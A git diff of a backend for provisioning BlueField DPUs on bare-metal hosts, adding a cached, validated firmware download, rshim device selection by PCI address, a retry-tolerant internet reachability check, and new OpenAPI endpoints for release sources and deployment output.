@@ def parse_apply_output(self, output: str, variables: dict[str, Any]) -> dict[str """Stubbed — execute() returns outputs directly.""" return {} + # ------------------------------------------------------------------ # + # BFB cache helper # + # ------------------------------------------------------------------ # + + @staticmethod + def _ensure_bfb( + session: Any, bfb_path: str, bfb_url: str, on_output: Any + ) -> None: + """Ensure a valid BFB file is present at bfb_path on the remote host. + + Downloads to .partial first, then atomically promotes to + bfb_path only after validation succeeds. On any failure, both the + temp and final paths are cleaned up so a subsequent retry starts fresh. + + If a cached file already exists but fails validation (too small, HTML + error page), it is deleted and re-downloaded. + """ + bfb_tmp = f"{bfb_path}.partial" + bfb_filename = bfb_path.rsplit("/", 1)[-1] + + r = session.execute( + f"test -f '{bfb_path}' && echo 'CACHED' || echo 'DOWNLOAD_NEEDED'", + timeout=10, + ) + need_download = "DOWNLOAD_NEEDED" in r.stdout + + if not need_download: + on_output(f"[flash-dpu] BFB already cached: {bfb_path}") + try: + file_size = _validate_bfb_on_host(session, bfb_path, bfb_url) + on_output(f"[flash-dpu] BFB cache validated: {file_size:,} bytes") + except RuntimeError as exc: + on_output( + f"[flash-dpu] Cached BFB failed validation — deleting and re-downloading. {exc}" + ) + session.execute(f"rm -f '{bfb_path}'", timeout=10) + need_download = True + + if need_download: + # Pre-flight HEAD: detect stale/forbidden URLs before attempting a multi-GB download. + # Only block on a definitive 403/404; all other outcomes (200, 405, connection errors) + # fall through to the normal GET, which now surfaces errors via -S. + head_r = session.execute( + f"curl -sS -I --max-time 30 '{bfb_url}' 2>&1", + timeout=35, + ) + http_status: int | None = None + for line in head_r.stdout.splitlines(): + if line.upper().startswith("HTTP/"): + parts = line.split() + if len(parts) >= 2 and parts[1].isdigit(): + http_status = int(parts[1]) + break + if http_status in (403, 404): + raise RuntimeError( + f"BFB URL returned HTTP {http_status} — URL may be stale: {bfb_url}. " + f"Re-run bare-metal/probe-dpu to recompose bfb_url from the current DOCA catalog." + ) + if http_status is None: + on_output( + "[flash-dpu] BFB URL HEAD check inconclusive (no HTTP status) — proceeding with download." + ) + + on_output(f"[flash-dpu] Downloading BFB image ({bfb_filename})...") + r = session.execute( + # -C - resumes from a leftover .partial; --retry/--retry-all-errors handles + # transient CDN errors; --speed-limit/--speed-time aborts a stalled transfer + # (< 1 KB/s for 60 s) so curl retries+resumes instead of hanging to the + # Celery soft-time-limit; -sS keeps errors visible; timeout 1800s covers + # a legit 1.5 GB pull over a flaky link. + f"curl -L --fail -sS -C - " + f"--retry 5 --retry-delay 5 --retry-all-errors " + f"--speed-limit 1024 --speed-time 60 " + f"-o '{bfb_tmp}' '{bfb_url}' 2>&1", + timeout=1800, + ) + if r.exit_code != 0: + # Keep .partial so the next apply's -C - can resume from where it stalled; + # only remove the final path in case a stale copy is sitting there. + session.execute(f"rm -f '{bfb_path}'", timeout=10) + raise RuntimeError( + f"BFB download failed for {bfb_url}: {r.stderr.strip() or r.stdout.strip()} " + f"(partial kept at {bfb_tmp} for resume)" + ) + try: + file_size = _validate_bfb_on_host(session, bfb_tmp, bfb_url) + except RuntimeError: + # Content is corrupt (HTML error page, truncated) — delete .partial so the + # next attempt starts fresh rather than resuming from bad data. + session.execute(f"rm -f '{bfb_tmp}' '{bfb_path}'", timeout=10) + raise + session.execute(f"mv '{bfb_tmp}' '{bfb_path}'", timeout=10) + on_output(f"[flash-dpu] BFB file validated and promoted: {file_size:,} bytes") + # ------------------------------------------------------------------ # # Python execute() path # # ------------------------------------------------------------------ # @@ -562,11 +746,11 @@ def on_output(line: str) -> None: # type: ignore[no-redef] # rshim must be available on the host for bfb-install. Try to start it if missing. on_output("[flash-dpu] Checking rshim availability...") rshim_check = session.execute( - "ls /dev/rshim*/boot 2>/dev/null | head -1 || echo 'NO_RSHIM'", + "ls /dev/rshim*/boot 2>/dev/null", timeout=10, ) - rshim_boot = rshim_check.stdout.strip() - if not rshim_boot or rshim_boot == "NO_RSHIM": + rshim_boot_raw = rshim_check.stdout.strip() + if not rshim_boot_raw: on_output("[flash-dpu] rshim not found — attempting to start rshim service...") session.execute("sudo modprobe rshim_pcie 2>/dev/null; sudo modprobe rshim 2>/dev/null", timeout=15) session.execute("sudo systemctl enable rshim 2>/dev/null", timeout=10) @@ -574,22 +758,45 @@ def on_output(line: str) -> None: # type: ignore[no-redef] time.sleep(3) # Re-check rshim_check = session.execute( - "ls /dev/rshim*/boot 2>/dev/null | head -1 || echo 'NO_RSHIM'", + "ls /dev/rshim*/boot 2>/dev/null", timeout=10, ) - rshim_boot = rshim_check.stdout.strip() - if not rshim_boot or rshim_boot == "NO_RSHIM": + rshim_boot_raw = rshim_check.stdout.strip() + if not rshim_boot_raw: raise RuntimeError( "rshim driver not loaded — /dev/rshim*/boot not found even after " "attempting modprobe + systemctl start rshim. " "Check 'systemctl status rshim' and 'dmesg | grep rshim' on the host." ) - on_output(f"[flash-dpu] rshim started successfully: {rshim_boot}") - # Extract the rshim device name (e.g., /dev/rshim0/boot -> rshim0) - rshim_match = re.search(r"/dev/(rshim\d+)/boot", rshim_boot) - rshim_device = rshim_match.group(1) if rshim_match else "rshim0" + on_output(f"[flash-dpu] rshim started successfully: {rshim_boot_raw.splitlines()[0]}") + + # Parse all available rshim devices from the ls output + all_rshim_devices = re.findall(r"/dev/(rshim\d+)/boot", rshim_boot_raw) + if not all_rshim_devices: + all_rshim_devices = ["rshim0"] # safe fallback if regex misses an unusual path + + # When deploy_dpu_pci_address is set, select the rshim whose /dev/rshimN/misc + # DEV_NAME line contains the PCI address. On a dual-DPU host, head -1 would + # always pick rshim0; this ensures we flash the intended DPU. + deploy_pci = variables.get("deploy_dpu_pci_address", "") + if deploy_pci: + rshim_device = _select_rshim_by_pci(session, all_rshim_devices, deploy_pci, on_output) + else: + rshim_device = all_rshim_devices[0] on_output(f"[flash-dpu] rshim device: {rshim_device}") + # Compute unique tmfifo MAC from the resolved rshim index. + # Respects an operator-supplied override already in variables (e.g. set + # via module variable_overrides), then falls back to the host-level base + # (net_rshim_mac_base from BareMetalHost), then the hard-coded default. + # This runs on BOTH rshim paths (host-rshim and bmc) so the fallback + # bf.cfg always has a non-default, index-unique NET_RSHIM_MAC. + if not variables.get("net_rshim_mac"): + variables["net_rshim_mac"] = _compute_rshim_mac( + rshim_device, variables.get("net_rshim_mac_base") + ) + on_output(f"[flash-dpu] net_rshim_mac: {variables['net_rshim_mac']}") + # Early BMC IP validation — fail fast before downloading BFB if rshim_source == "bmc": bmc_ip = variables.get("bmc_ip") @@ -626,39 +833,7 @@ def on_output(line: str) -> None: # type: ignore[no-redef] on_output("[flash-dpu] Checking BFB cache...") bfb_filename = bfb_url.rsplit("/", 1)[-1] if "/" in bfb_url else "firmware.bfb" bfb_path = f"/tmp/{bfb_filename}" - - r = session.execute( - f"test -f '{bfb_path}' && echo 'CACHED' || echo 'DOWNLOAD_NEEDED'", - timeout=10, - ) - if "DOWNLOAD_NEEDED" in r.stdout: - on_output(f"[flash-dpu] Downloading BFB image ({bfb_filename})...") - r = session.execute( - f"wget -q --show-progress -O '{bfb_path}' '{bfb_url}' 2>&1 || " - f"curl --fail -sL -o '{bfb_path}' '{bfb_url}' 2>&1", - timeout=600, # BFB files can be 1-2 GB - ) - if r.exit_code != 0: - raise RuntimeError( - f"BFB download failed: {r.stderr.strip() or r.stdout.strip()}" - ) - # Validate download — BFB images are typically 1-3 GB - size_r = session.execute( - f"stat -c %s '{bfb_path}' 2>/dev/null || stat -f %z '{bfb_path}' 2>/dev/null", - timeout=10, - ) - file_size = int(size_r.stdout.strip()) if size_r.exit_code == 0 and size_r.stdout.strip().isdigit() else 0 - if file_size < 1_000_000: # less than 1 MB is definitely not a real BFB - head_r = session.execute(f"head -c 200 '{bfb_path}'", timeout=10) - raise RuntimeError( - f"BFB download failed — file is only {file_size} bytes (expected ~1-3 GB). " - f"The URL may be wrong or return a redirect/error page. " - f"URL: {bfb_url}\n" - f"File content preview: {head_r.stdout.strip()[:200]}" - ) - on_output(f"[flash-dpu] BFB file validated: {file_size:,} bytes") - else: - on_output(f"[flash-dpu] BFB already cached: {bfb_path}") + self._ensure_bfb(session, bfb_path, bfb_url, on_output) r = session.execute(f"ls -lh '{bfb_path}'", timeout=10) on_output(f"[flash-dpu] BFB file: {r.stdout.strip()}") @@ -991,8 +1166,14 @@ def bmc_run(cmd: str, timeout: int = 10) -> tuple[int, str]: total = time.monotonic() - t0 on_output(f"[flash-dpu] Complete ({total:.1f}s total)") + # Report the address this DPU was actually flashed with. variables + # carries it alongside rendered_bf_conf, both derived from the same + # RenderContext, so they cannot disagree. DPU_IP remains the fallback for + # the single-DPU / no-IPAM case, where it is also what bf.conf got. + reported_ip = variables.get("dpu_tmfifo_ip") or DPU_IP + on_output(f"[flash-dpu] dpu_ip reported downstream: {reported_ip}") return { "flash_completed": True, - "dpu_ip": DPU_IP, + "dpu_ip": reported_ip, "execution_duration_seconds": round(total, 1), } diff --git a/backend/modules/bare_metal/setup_dpu_networking.py b/backend/modules/bare_metal/setup_dpu_networking.py index 42fddf1f..5220d937 100644 --- a/backend/modules/bare_metal/setup_dpu_networking.py +++ b/backend/modules/bare_metal/setup_dpu_networking.py @@ -158,7 +158,12 @@ def _execute_tmfifo(self, session: Any, variables: dict[str, Any], on_output: An from services.bare_metal.ssh_session import SSHSession - dpu_ip: str = str(variables.get("dpu_ip") or "192.168.100.2") + # Prefer the address actually baked into bf.conf. `dpu_ip` comes from + # flash-dpu, but a re-run or a partial chain can leave it unset, and the + # 192.168.100.2 literal is only correct for the pool's FIRST /30 (#118). + dpu_ip: str = str( + variables.get("dpu_ip") or variables.get("dpu_tmfifo_ip") or "192.168.100.2" + ) host_ip: str = str(variables.get("host_ip") or "") dns_servers_raw: str = str(variables.get("dns_servers") or "8.8.8.8,8.8.4.4") dns_servers = [s.strip() for s in dns_servers_raw.split(",") if s.strip()] @@ -264,18 +269,8 @@ def _execute_tmfifo(self, session: Any, variables: dict[str, Any], on_output: An on_output("[setup-dpu-net] DPU DNS configured") # ── Step 5: Verify DPU internet access ──────────────────────── - on_output("[setup-dpu-net] Verifying DPU internet access (ping 8.8.8.8)...") - r = dpu_session.execute("ping -c1 -W5 8.8.8.8", timeout=15) - if r.exit_code != 0: - on_output( - f"[setup-dpu-net] WARNING: DPU ping failed (exit={r.exit_code}): " - f"{r.stderr[:200]}" - ) - raise RuntimeError( - "DPU cannot reach 8.8.8.8 after NAT/routing setup. " - "Check host iptables, IP forwarding, and DPU route table." - ) - on_output(f"[setup-dpu-net] DPU internet access verified: {r.stdout.strip()[:120]}") + on_output("[setup-dpu-net] Verifying DPU internet access...") + self._verify_dpu_internet_access(dpu_session, on_output) total = time.monotonic() - t0 on_output(f"[setup-dpu-net] Complete ({total:.1f}s total)") @@ -357,27 +352,8 @@ def _execute_via_oob( "Check host→DPU OOB-subnet routing and DPU SSH credentials." ) from exc - on_output("[setup-dpu-net] Connected to DPU — verifying internet...") - r = dpu_session.execute("ping -c2 -W2 8.8.8.8", timeout=15) - if r.exit_code == 0: - on_output("[setup-dpu-net] DPU internet access verified (ping 8.8.8.8 OK)") - else: - on_output( - "[setup-dpu-net] WARNING: DPU ping to 8.8.8.8 failed " - f"(exit={r.exit_code}); trying DNS resolution as fallback..." - ) - r = dpu_session.execute( - "getent hosts pkgs.k8s.io > /dev/null && echo DNS_OK || echo DNS_FAILED", - timeout=15, - ) - if "DNS_OK" not in r.stdout: - raise RuntimeError( - "DPU has no internet via oob_net0 (both ICMP and DNS " - "checks failed). Confirm the OOB management network " - "provides internet and that the DPU's bf.conf netplan " - "set oob_net0 to dhcp4: true." - ) - on_output("[setup-dpu-net] DPU DNS resolution works (oob_net0 OK)") + on_output("[setup-dpu-net] Connected to DPU — verifying internet access...") + self._verify_dpu_internet_access(dpu_session, on_output) # ── Host-side VLAN sub-interfaces ───────────────────────────── # For each VLAN configured on the DPU's br-lag, lay down a matching @@ -414,6 +390,92 @@ def _execute_via_oob( "execution_duration_seconds": round(total, 1), } + # ── Helper: retry-tolerant internet verification ────────────────── + + def _verify_dpu_internet_access( + self, + dpu_session: Any, + on_output: Any, + max_attempts: int = 5, + sleep_seconds: float = 3.0, + ) -> None: + """Verify DPU internet access with retry tolerance for first-packet ARP loss. + + Checks in order, early-exiting as soon as any check passes: + 1. ICMP ping to 8.8.8.8 — fast soft signal (ICMP is blocked on some networks) + 2. DNS resolution of pkgs.k8s.io — validates resolv.conf + gateway forwarding + 3. TCP connect to pkgs.k8s.io:443 or github.com:443 — what install-dpu-prereqs + actually needs (apt repos, containerd/runc releases, K8s packages) + + Retries up to max_attempts times with sleep_seconds between to tolerate + first-packet ARP loss against a freshly-installed default route. The + module exits the loop as soon as any check passes (happy-path is fast). + + Raises RuntimeError on genuine failure, naming the specific failed check + (DNS: or TCP::) and the endpoint so the operator knows + exactly what to investigate. + """ + _DNS_HOST = "pkgs.k8s.io" + _TCP_ENDPOINTS = [("pkgs.k8s.io", 443), ("github.com", 443)] + + last_failed: list[str] = [] + + for attempt in range(1, max_attempts + 1): + on_output(f"[setup-dpu-net] Internet check {attempt}/{max_attempts}...") + last_failed = [] + + # ICMP — passes immediately once ARP is warm; may be blocked on some networks + r = dpu_session.execute("ping -c1 -W2 8.8.8.8", timeout=8) + if r.exit_code == 0: + on_output("[setup-dpu-net] Internet verified (ICMP 8.8.8.8 OK)") + return + last_failed.append("ICMP:8.8.8.8") + on_output( + f"[setup-dpu-net] ICMP to 8.8.8.8 failed (exit={r.exit_code}) " + "— checking DNS+TCP..." + ) + + # DNS — validates that resolv.conf was written and the gateway forwards DNS + r = dpu_session.execute( + f"getent hosts {_DNS_HOST} >/dev/null 2>&1 && echo DNS_OK || echo DNS_FAILED", + timeout=8, + ) + dns_ok = "DNS_OK" in r.stdout + if not dns_ok: + last_failed.append(f"DNS:{_DNS_HOST}") + on_output(f"[setup-dpu-net] DNS resolution of {_DNS_HOST} failed") + else: + on_output(f"[setup-dpu-net] DNS OK ({_DNS_HOST}) — checking TCP reachability...") + # TCP connect to the endpoints install-dpu-prereqs hits over HTTPS + for tcp_host, tcp_port in _TCP_ENDPOINTS: + r = dpu_session.execute( + f"timeout 5 bash -c 'exec 3<>/dev/tcp/{tcp_host}/{tcp_port}' " + "2>/dev/null && echo TCP_OK || echo TCP_FAILED", + timeout=10, + ) + if "TCP_OK" in r.stdout: + on_output( + f"[setup-dpu-net] Internet verified " + f"(DNS:{_DNS_HOST} + TCP:{tcp_host}:{tcp_port} OK)" + ) + return + last_failed.append(f"TCP:{tcp_host}:{tcp_port}") + on_output(f"[setup-dpu-net] TCP {tcp_host}:{tcp_port} failed") + + if attempt < max_attempts: + on_output( + f"[setup-dpu-net] Connectivity not confirmed " + f"({', '.join(last_failed)}); retrying in {sleep_seconds:.0f}s..." + ) + time.sleep(sleep_seconds) + + raise RuntimeError( + f"DPU internet access not confirmed after {max_attempts} attempt(s). " + f"Last failed checks: {', '.join(last_failed) or 'none recorded'}. " + "Check host iptables (MASQUERADE rule), IP forwarding on host, " + "DPU default route (via 192.168.100.1), and /etc/resolv.conf on DPU." + ) + # ── Helper: configure host-side VLAN sub-interfaces ─────────────── @staticmethod diff --git a/backend/modules/bare_metal/validate_dpu_ready.py b/backend/modules/bare_metal/validate_dpu_ready.py index 1db767ac..003d5bec 100644 --- a/backend/modules/bare_metal/validate_dpu_ready.py +++ b/backend/modules/bare_metal/validate_dpu_ready.py @@ -69,7 +69,12 @@ class ValidateDPUReadyModule(SSHModule): def execute(self, session: Any, variables: dict[str, Any], on_output: Any) -> dict[str, Any]: """Validate DPU readiness with 9 checks across host and DPU.""" t0 = time.monotonic() - dpu_ip = variables.get("dpu_ip", "192.168.100.2") + # Prefer the address actually baked into bf.conf. `dpu_ip` comes from + # flash-dpu, but a re-run or a partial chain can leave it unset, and the + # 192.168.100.2 literal is only correct for the pool's FIRST /30 (#118). + dpu_ip = ( + variables.get("dpu_ip") or variables.get("dpu_tmfifo_ip") or "192.168.100.2" + ) hugepages_min = int(variables.get("hugepages_minimum", "8192")) results: dict[str, str] = {} diff --git a/backend/modules/bare_metal/wait_dpu_ready.py b/backend/modules/bare_metal/wait_dpu_ready.py index 941c1eb6..de5899ad 100644 --- a/backend/modules/bare_metal/wait_dpu_ready.py +++ b/backend/modules/bare_metal/wait_dpu_ready.py @@ -191,7 +191,12 @@ def _execute_tmfifo(self, session: Any, variables: dict[str, Any], on_output: An from services.bare_metal.ssh_session import SSHSession - dpu_ip: str = str(variables.get("dpu_ip") or "192.168.100.2") + # Prefer the address actually baked into bf.conf. `dpu_ip` comes from + # flash-dpu, but a re-run or a partial chain can leave it unset, and the + # 192.168.100.2 literal is only correct for the pool's FIRST /30 (#118). + dpu_ip: str = str( + variables.get("dpu_ip") or variables.get("dpu_tmfifo_ip") or "192.168.100.2" + ) max_wait: int = int(variables.get("max_wait_seconds") or 900) poll_interval: int = 10 diff --git a/backend/openapi.json b/backend/openapi.json index a80f1898..15b8a979 100644 --- a/backend/openapi.json +++ b/backend/openapi.json @@ -1797,6 +1797,112 @@ } } }, + "/api/k8s/clusters/{cluster_id}/bnk-config": { + "post": { + "tags": [ + "k8s-clusters" + ], + "summary": "Configure Bnk Cluster", + "description": "Configure BNK cluster side-table options (tmfifo CIDR pool, join transport, CP host).", + "operationId": "configure_bnk_cluster_api_k8s_clusters__cluster_id__bnk_config_post", + "parameters": [ + { + "name": "cluster_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Cluster Id" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/BnkClusterConfigCreateRequest" + } + } + } + }, + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/BnkClusterConfigSummary" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, + "/api/k8s/clusters/{cluster_id}/bnk-members": { + "post": { + "tags": [ + "k8s-clusters" + ], + "summary": "Assign Bnk Cluster Members", + "description": "Assign bare-metal hosts and DPUs to a BNK cluster and perform tmfifo IP allocations.", + "operationId": "assign_bnk_cluster_members_api_k8s_clusters__cluster_id__bnk_members_post", + "parameters": [ + { + "name": "cluster_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Cluster Id" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/BnkClusterMemberAssignRequest" + } + } + } + }, + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/BnkClusterMemberAssignResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, "/api/k8s/clusters/{cluster_id}/crds": { "get": { "tags": [ @@ -6579,21 +6685,21 @@ } } }, - "/api/bare-metal/version-profiles": { + "/api/bare-metal/deployable-releases": { "get": { "tags": [ "bare-metal" ], - "summary": "List Version Profiles", - "description": "List all BNK version profiles.", - "operationId": "list_version_profiles_api_bare_metal_version_profiles_get", + "summary": "List Deployable Releases", + "description": "List all BNK deployable releases.", + "operationId": "list_deployable_releases_api_bare_metal_deployable_releases_get", "responses": { "200": { "description": "Successful Response", "content": { "application/json": { "schema": { - "$ref": "#/components/schemas/BnkVersionProfileListResponse" + "$ref": "#/components/schemas/DeployableReleaseListResponse" } } } @@ -6601,22 +6707,22 @@ } } }, - "/api/bare-metal/version-profiles/{profile_id}": { + "/api/bare-metal/deployable-releases/{release_id}": { "get": { "tags": [ "bare-metal" ], - "summary": "Get Version Profile", - "description": "Get a specific version profile.", - "operationId": "get_version_profile_api_bare_metal_version_profiles__profile_id__get", + "summary": "Get Deployable Release", + "description": "Get a specific deployable release.", + "operationId": "get_deployable_release_api_bare_metal_deployable_releases__release_id__get", "parameters": [ { - "name": "profile_id", + "name": "release_id", "in": "path", "required": true, "schema": { "type": "integer", - "title": "Profile Id" + "title": "Release Id" } } ], @@ -6626,7 +6732,468 @@ "content": { "application/json": { "schema": { - "$ref": "#/components/schemas/BnkVersionProfileResponse" + "$ref": "#/components/schemas/DeployableReleaseResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, + "/api/bare-metal/deployable-releases/{release_id}/activate": { + "post": { + "tags": [ + "bare-metal" + ], + "summary": "Activate Deployable Release", + "description": "Set is_active on a deployable release.", + "operationId": "activate_deployable_release_api_bare_metal_deployable_releases__release_id__activate_post", + "parameters": [ + { + "name": "release_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Release Id" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/ActivateReleaseRequest" + } + } + } + }, + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/DeployableReleaseResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, + "/api/bare-metal/deployable-releases/{release_id}/set-default": { + "post": { + "tags": [ + "bare-metal" + ], + "summary": "Set Default Deployable Release", + "description": "Mark this release as the default, clearing is_default on all others.", + "operationId": "set_default_deployable_release_api_bare_metal_deployable_releases__release_id__set_default_post", + "parameters": [ + { + "name": "release_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Release Id" + } + } + ], + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/DeployableReleaseResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, + "/api/bare-metal/release-sources": { + "get": { + "tags": [ + "bare-metal" + ], + "summary": "List Release Sources", + "description": "List all BNK release sources.", + "operationId": "list_release_sources_api_bare_metal_release_sources_get", + "parameters": [ + { + "name": "active_only", + "in": "query", + "required": false, + "schema": { + "type": "boolean", + "default": false, + "title": "Active Only" + } + } + ], + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#/components/schemas/ReleaseSourceResponse" + }, + "title": "Response List Release Sources Api Bare Metal Release Sources Get" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + }, + "post": { + "tags": [ + "bare-metal" + ], + "summary": "Create Release Source", + "description": "Create a new BNK release source.", + "operationId": "create_release_source_api_bare_metal_release_sources_post", + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/ReleaseSourceCreate" + } + } + } + }, + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/ReleaseSourceResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, + "/api/bare-metal/release-sources/{source_id}": { + "get": { + "tags": [ + "bare-metal" + ], + "summary": "Get Release Source", + "description": "Get a specific BNK release source.", + "operationId": "get_release_source_api_bare_metal_release_sources__source_id__get", + "parameters": [ + { + "name": "source_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Source Id" + } + } + ], + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/ReleaseSourceResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + }, + "patch": { + "tags": [ + "bare-metal" + ], + "summary": "Update Release Source", + "description": "Partial update of a BNK release source.", + "operationId": "update_release_source_api_bare_metal_release_sources__source_id__patch", + "parameters": [ + { + "name": "source_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Source Id" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/ReleaseSourceUpdate" + } + } + } + }, + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/ReleaseSourceResponse" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + }, + "delete": { + "tags": [ + "bare-metal" + ], + "summary": "Delete Release Source", + "description": "Delete a BNK release source. Catalog rows retain source_id \u2192 NULL via FK ON DELETE SET NULL.", + "operationId": "delete_release_source_api_bare_metal_release_sources__source_id__delete", + "parameters": [ + { + "name": "source_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Source Id" + } + } + ], + "responses": { + "204": { + "description": "Successful Response" + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, + "/api/bare-metal/release-sources/{source_id}/tags": { + "get": { + "tags": [ + "bare-metal" + ], + "summary": "List Release Source Tags", + "description": "List available manifest tags from the OCI/mirror registry.\n\nBest-effort: on listing failure returns tags=[] with list_error set\n(never 500s). The UI should keep a manual tag-entry fallback.", + "operationId": "list_release_source_tags_api_bare_metal_release_sources__source_id__tags_get", + "parameters": [ + { + "name": "source_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Source Id" + } + } + ], + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/ReleaseSourceTagList" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, + "/api/bare-metal/release-sources/{source_id}/tags:pull": { + "post": { + "tags": [ + "bare-metal" + ], + "summary": "Pull Release Source Tags", + "description": "Pull selected manifest tags from the OCI/mirror registry and upsert Catalog rows.\n\nIdempotent: already-present releases are reported in skipped[], not re-inserted.\nPartial batch failure (one tag fails, others succeed) keeps sync_status=success.", + "operationId": "pull_release_source_tags_api_bare_metal_release_sources__source_id__tags_pull_post", + "parameters": [ + { + "name": "source_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Source Id" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/PullTagsRequest" + } + } + } + }, + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/PullTagsSummary" + } + } + } + }, + "422": { + "description": "Validation Error", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/HTTPValidationError" + } + } + } + } + } + } + }, + "/api/bare-metal/release-sources/{source_id}/sync": { + "post": { + "tags": [ + "bare-metal" + ], + "summary": "Sync Release Source", + "description": "Sync catalog releases from the supplied manifest YAML.\n\nPersists sync_status='error' even when the sync fails, so the caller can\ninspect the error via GET /{source_id}.", + "operationId": "sync_release_source_api_bare_metal_release_sources__source_id__sync_post", + "parameters": [ + { + "name": "source_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Source Id" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/SyncSourceRequest" + } + } + } + }, + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/SyncSourceResponse" } } } @@ -11039,7 +11606,7 @@ "project-deployments" ], "summary": "Get Deployment Logs", - "description": "Get historical deployment logs for a module.\n\nArgs:\n module_id: Module ID\n limit: Maximum number of logs to return (1-10000, default 1000)\n level: Filter by log level (all, info, error, warning, success)", + "description": "Get historical deployment logs for a module.\n\nEntries are returned NEWEST FIRST regardless of source. Sources, in\npreference order:\n - \"deployment_log\": DeploymentLog rows (written by the retry path)\n - \"task\": the module's newest Task.logs -- where every engine actually\n streams its step output; `task_id` names it (GET /api/tasks/{task_id})\n - \"none\": nothing recorded yet; `hint` says where output will appear\n\nArgs:\n module_id: Module ID\n limit: Maximum number of logs to return (1-10000, default 1000);\n on the \"task\" source this is a tail of the most recent lines\n level: Filter by log level (all, info, error, warning, success);\n best-effort on the \"task\" source (matched on engine markers)", "operationId": "get_deployment_logs_api_project_modules__module_id__logs_get", "parameters": [ { @@ -11191,6 +11758,72 @@ } } }, + "/api/project-modules/{module_id}/deployments/{deployment_id}/output": { + "get": { + "tags": [ + "project-deployments" + ], + "summary": "Get Deployment Output", + "description": "Get the captured output of a single deployment run.\n\nThe deployment list endpoint reports status, timing and resource counts but\ncarries no log, so a failed module could only be diagnosed by opening the UI.\nThis returns the run's stdout/stderr so a headless or CI-driven deploy can\nfind out what actually failed (issue #526).\n\nOutput is kept from the END when it exceeds ``max_bytes`` \u2014 a failure message\nis at the tail of the log, not the head.", + "operationId": "get_deployment_output_api_project_modules__module_id__deployments__deployment_id__output_get", + "parameters": [ + { + "name": "module_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Module Id" + } + }, + { + "name": "deployment_id", + "in": "path", + "required": true, + "schema": { + "type": "integer", + "title": "Deployment Id" + } + }, + { + "name": "max_bytes", + "in": "query", + "required": false, + "schema": { + "type": "integer", + "maximum": 20000000, + "minimum": 1024, + "description": "Cap on returned stdout size; the TAIL is kept when it exceeds this", + "default": 2000000, + "title": "Max Bytes" + }, + "description": "Cap on returned stdout size; the TAIL is kept when it exceeds this" + } + ], + "responses": { + "200": { + "description": "Successful Response", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/DeploymentOutputResponse" + 